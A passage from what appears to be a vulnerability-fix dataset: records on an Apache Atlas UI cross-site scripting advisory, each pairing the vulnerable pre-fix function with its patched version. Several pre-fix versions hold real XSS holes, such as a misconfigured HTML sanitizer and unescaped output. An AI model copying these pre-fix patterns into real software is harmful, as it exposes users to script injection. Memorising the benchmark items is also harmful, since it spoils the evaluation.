    );\n }\n\n // If no filters to display, return null (don't show empty parentheses)\n if (queryArray.length === 0) {\n return null;\n }\n\n return (\n <>\n {queryArray.length === 1 ? (\n <>{queryArray}\n ) : (\n <>\n (\n {queryArray.map((item, index) => (\n <>\n {index > 0 && (\n <>\n \n {\")\"} AND {\"(\"}\n \n \n )}\n {item}\n \n ))}\n )\n \n )}\n \n );\n};\n\nexport default FilterQuery;" pre_fix = " const clearQueryAttr = (e: any) => {\n const searchParams = new URLSearchParams(location.search);\n const currentType: any = e?.target\n ?.closest(\"[data-type]\")\n ?.getAttribute(\"data-type\");\n\n if (currentType == \"term\") {\n searchParams.delete(\"gtype\");\n searchParams.delete(\"viewType\");\n searchParams.delete(\"guid\");\n }\n\n searchParams.delete(currentType);\n\n // Check if there are any meaningful filters left after removal\n const meaningfulFilterParams = [\n \"type\",\n \"tag\",\n \"query\",\n \"term\",\n \"relationshipName\",\n \"entityFilters\",\n \"tagFilters\",\n \"relationshipFilters\",\n \"excludeST\",\n \"excludeSC\",\n \"includeDE\"\n ];\n\n const hasMeaningfulFilters = meaningfulFilterParams.some((param) =>\n searchParams.has(param)\n );\n\n // If no meaningful filters remain, navigate to clear all (like Clear button)\n if (!hasMeaningfulFilters) {\n navigate({\n pathname: \"/search\"\n });\n } else if ([...searchParams]?.length <= 1) {\n // Only searchType or other system params remain\n navigate({\n pathname: \"/search\"\n });\n } else {\n navigate({\n pathname: \"/search/searchResult\",\n search: searchParams.toString()\n });\n }\n };\n\n if (value.type) {\n let typeKeyValue = (\n \n \n \n Type:\n \n {value.type}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let entityFilters: any = attributeFilter.extractUrl({\n value: value.entityFilters,\n formatDate: true\n });\n if (entityFilters) {\n const conditionForEntity =\n entityFilters?.rules?.length === 1 ? \"\" : \"AND\";\n typeKeyValue = (\n <>\n {typeKeyValue}\n\n \n {conditionForEntity}\n \n <>\n {\"(\"}\n \n {entityFilters.condition}\n \n {\"(\"}\n {objToString(entityFilters, \"entityFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {typeKeyValue}\n \n );\n }\n\n // Handle Tag filters\n if (value.tag) {\n let tagKeyValue = (\n \n \n Classification: \n {value.tag}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let tagFilters: any = attributeFilter.extractUrl({\n value: value.tagFilters,\n formatDate: true\n });\n if (tagFilters) {\n const conditionForTag = tagFilters?.rules?.length === 1 ? \"\" : \"AND\";\n\n tagKeyValue = (\n <>\n {tagKeyValue}\n \n {conditionForTag}\n \n <>\n {\"(\"}\n \n {tagFilters.condition}\n \n {\"(\"}\n {objToString(tagFilters, \"tagFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n queryArray.push(\n \n {tagKeyValue}\n \n );\n }\n\n // Handle Relationship filters\n if (value.relationshipName) {\n let relationshipKeyValue: any = (\n \n \n Relationship: \n \n {value.relationshipName}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let relationshipFilters: any = attributeFilter.extractUrl({\n value: value.relationshipFilters,\n formatDate: true\n });\n\n if (value.relationshipFilters) {\n const conditionForRelationship: any =\n value.relationshipFilters.rules &&\n value?.relationshipFilters?.rules?.length === 1\n ? \"\"\n : \"AND\";\n relationshipKeyValue = (\n <>\n {relationshipKeyValue}\n\n \n {conditionForRelationship}\n \n <>\n {\"(\"}\n \n {relationshipFilters.condition}\n \n {\"(\"}\n {objToString(relationshipFilters, \"relationshipFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {relationshipKeyValue}\n \n );\n }\n\n // Handle Term filter\n if (value.term) {\n let termKeyValue = (\n \n \n Term: \n {value.term}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {termKeyValue}
    );\n }\n\n // Handle Query filter\n if (value.query) {\n let queryKeyValue = (\n \n \n Query: \n \n {value.query.trim()}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryKeyValue}
    );\n }\n\n // Handle Exclude ST filter\n if (value.excludeST) {\n let queryExcludeST = (\n \n \n Exclude sub-types: \n {value.excludeST}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeST}
    );\n }\n\n // Handle Exclude SC filter\n if (value.excludeSC) {\n let queryExcludeSC = (\n \n \n \n Exclude sub-classifications:{\" \"}\n \n {value.excludeSC}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeSC}
    );\n }\n\n // Handle Include DE filter\n if (value.includeDE) {\n let queryIncludeDE = (\n \n \n \n Show historical entities:{\" \"}\n \n {value.includeDE}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryIncludeDE}
    );\n }\n\n // If no filters to display, return null (don't show empty parentheses)\n if (queryArray.length === 0) {\n return null;\n }\n\n return (\n <>\n {queryArray.length === 1 ? (\n <>{queryArray}\n ) : (\n <>\n (\n {queryArray.map((item, index) => (\n <>\n {index > 0 && (\n <>\n \n {\")\"} AND {\"(\"}\n \n \n )}\n {item}\n \n ))}\n )\n \n )}\n \n );\n};\n\nexport default FilterQuery;" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "_addLegend" function_lines = [[714, 744]] id = "apache-atlas-5373cc60e39f63cb" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/views/Lineage/atlas-lineage/src/index.js" post_fix = " _addLegend() {\n if (this.options.legends === false) {\n return;\n }\n var parent = select(this.options.legendsEl || this.options.el);\n parent.selectAll(\"div.legends\").remove();\n var container = parent.insert(\"div\", \":first-child\").classed(\"legends\", true);\n\n let span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-circle-o fa-fw\", true);\n span.append(\"span\").html(\"Current Entity\");\n\n span = container.append(\"span\").style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-hourglass-half fa-fw\", true);\n span.append(\"span\").html(\"In Progress\");\n\n span = container.append(\"span\").style(\"color\", \"#df9b00\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Lineage\");\n\n span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Impact\");\n\n span = container\n .append(\"span\")\n .classed(\"notification hide\", true)\n .style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-exclamation fa-fw\", true);\n span.append(\"span\").html(\"Filtering hides all Expand buttons.\");\n }" pre_fix = " _addLegend() {\n if (this.options.legends === false) {\n return;\n }\n var container = select(this.options.legendsEl || this.options.el)\n .insert(\"div\", \":first-child\")\n .classed(\"legends\", true);\n\n let span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-circle-o fa-fw\", true);\n span.append(\"span\").html(\"Current Entity\");\n\n span = container.append(\"span\").style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-hourglass-half fa-fw\", true);\n span.append(\"span\").html(\"In Progress\");\n\n span = container.append(\"span\").style(\"color\", \"#df9b00\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Lineage\");\n\n span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Impact\");\n\n span = container\n .append(\"span\")\n .classed(\"notification hide\", true)\n .style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-exclamation fa-fw\", true);\n span.append(\"span\").html(\"Filtering hides all Expand buttons.\");\n }" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "sanitizeHtmlContent" function_lines = [[446, 471]] id = "apache-atlas-7f7bd8d16a1151b1" language = "typescript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/utils/Utils.ts" post_fix = "const sanitizeHtmlContent = (htmlContent: HTMLElement | string | any) => {\n const content =\n typeof htmlContent === \"string\"\n ? htmlContent\n : htmlContent?.toString?.() ?? \"\";\n const cleanContent = sanitizeHtml(content, {\n allowedTags: [\n \"b\",\n \"em\",\n \"strong\",\n \"u\",\n \"a\",\n \"ul\",\n \"ol\",\n \"li\",\n \"p\",\n \"strike\",\n \"h1\",\n \"h2\",\n \"h3\",\n \"h4\"\n ],\n allowedAttributes: {\n a: [\"href\"]\n },\n allowedSchemesByTag: {\n a: [\"http\", \"https\", \"mailto\"]\n }\n });\n return cleanContent;\n};\n" pre_fix = "const sanitizeHtmlContent = (htmlContent: HTMLElement | string | any) => {\n let cleanContent = sanitizeHtml(htmlContent, {\n allowedTags: [\n \"b\",\n \"em\",\n \"strong\",\n \"u\",\n \"a\",\n \"ul\",\n \"ol\",\n \"li\",\n \"p\",\n \"strike\",\n \"h1\",\n \"h2\",\n \"h3\",\n \"h4\"\n ],\n allowedAttributes: {\n a: [\"href\"]\n },\n allowedSchemesByTag: [\"script\", \"img\", \"iframe\", \"svg\", \"title\"] as any\n });\n return cleanContent;\n};\n" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[33, 820]] id = "apache-atlas-940ab56a7aadcda1" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/public/js/views/search/RelationSearchResultLayoutView.js" post_fix = "], function(require, Backbone, tableDragger, RelationSearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VRelationshipSearchResultList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform) {\n 'use strict';\n\n var RelationSearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends RelationSearchResultLayoutView */\n {\n _viewName: 'RelationSearchResultLayoutView',\n\n template: RelationSearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n REntityTableLayoutView: \"#r_relationSearchResultTableLayoutView\"\n },\n\n /** ui selector cache */\n ui: {\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n colManager: \"[data-id='colManager']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\"\n },\n templateHelpers: function() {\n return {\n searchType: this.searchType,\n fromView: this.fromView,\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'searchVent', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'profileDBView', 'relationshipDefCollection'));\n //this.entityModel = new VEntity();\n this.searchCollection = new VRelationshipSearchResultList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.searchType = 'Basic Search';\n this.columnOrder = null;\n this.defaultColumns = [\"name\", \"typeName\", \"end1\", \"end2\", \"label\"];\n if (this.value) {\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error)) || 'Invalid Expression';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isRelationTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.relationshipName) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns);\n if (this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"relationSearch:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isRelationTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {\n 'query': null,\n 'searchType': 'basic'\n };\n if (this.value) {\n value = this.value;\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n this.$(\".relationLink\").show();\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && this.value.relationshipName && this.searchTableColumns) {\n this.searchTableColumns[this.value.relationshipName] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && this.value.relationshipName && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.relationshipName] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isRelationSearch = Utils.getUrlState.isRelationTab(),\n relationshipFilters = null;\n if (isRelationSearch) {\n relationshipFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.relationshipFilters);\n }\n if (isPostMethod && isRelationSearch) {\n var excludeDefaultColumn = this.value.relationshipName && this.searchTableColumns ? _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns) : null,\n filterObj = {\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null,\n 'relationshipFilters': relationshipFilters\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.relations) {\n dataLength = dataOrCollection.relations.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n that.searchCollection.reset(dataOrCollection.relations, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.relations, { silent: true });\n }\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (isRelationSearch && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n that.$('.searchResult').html(searchString);\n }\n },\n silent: true,\n reset: true\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.relationshipSearchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'relationshipName': value.relationshipName || null });\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.relationshipName] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.relationshipName] == null ? [] : this.searchTableColumns[this.value.relationshipName];\n }\n col['name'] = {\n label: \"Guid\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: false,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj),\n img = \"\";\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n img = \"
    \";\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n img = \"
    \";\n }\n return (img + nameHtml);\n }\n })\n };\n if (this.value) {\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n col['end1'] = {\n label: \"End1\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'end1') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end1) {\n var key, uniqueAttributesValue;\n for (key in obj.end1.uniqueAttributes) {\n uniqueAttributesValue = obj.end1.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end1.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['end2'] = {\n label: \"End2\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end2) {\n var key, uniqueAttributesValue;\n for (key in obj.end2.uniqueAttributes) {\n uniqueAttributesValue = obj.end2.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end2.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['label'] = {\n label: \"Label\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj) {\n return \"\" + obj.label + \"\"\n }\n }\n })\n };\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.relationshipDefCollection.fullCollection.find({ name: this.value.relationshipName });\n if (def) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.relationshipDefCollection, attrMerge: true }) : [];\n _.each(attrObj, function(obj) {\n var key = _.escape(obj.name),\n isRenderable = _.includes(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1;\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0; // commented : as sorting is required for all the columns except non-primitive types\n\n col[key] = {\n label: key.capitalize(),\n cell: 